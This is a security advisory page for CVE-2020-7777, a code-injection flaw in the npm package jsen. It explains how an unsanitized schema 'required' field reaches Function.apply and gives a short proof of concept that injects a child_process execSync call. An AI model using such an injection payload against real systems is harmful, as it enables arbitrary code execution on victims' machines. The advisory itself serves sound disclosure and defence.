Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZtNjQtY2ZxeC0zNjk4

Code Injection in jsen

This affects all versions of package jsen. If an attacker can control the schema file, it could run arbitrary JavaScript code on the victim machine. In the module description and README file there is no mention about the risks of untrusted schema files, so it is assumed that this is applicable. In particular the required field of the schema is not properly sanitized. The resulting string that is build based on the schema definition is then passed to a Function.apply();, leading to an Arbitrary Code Execution.

PoC

const jsen = require('jsen');
let schema = JSON.parse(
{ "type": "object", "properties": { "username": { "type": "string" } }, "required": ["\\"+process.mainModule.require(\'child_process\').execSync(\'touch malicious\')+\\""] }
);

const validate = jsen(schema); validate({});

Permalink: https://github.com/advisories/GHSA-vm64-cfqx-3698
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZtNjQtY2ZxeC0zNjk4
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 2 years ago
Updated: 8 months ago

CVSS Score: 7.2
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-vm64-cfqx-3698, CVE-2020-7777
References:

• https://nvd.nist.gov/vuln/detail/CVE-2020-7777
• https://github.com/bugventure/jsen/blob/master/lib/jsen.js#L875
• https://security.snyk.io/vuln/SNYK-JS-JSEN-1014670
• https://github.com/advisories/GHSA-vm64-cfqx-3698

Repository: https://github.com/bugventure/jsen
Blast Radius: 19.8

Affected Packages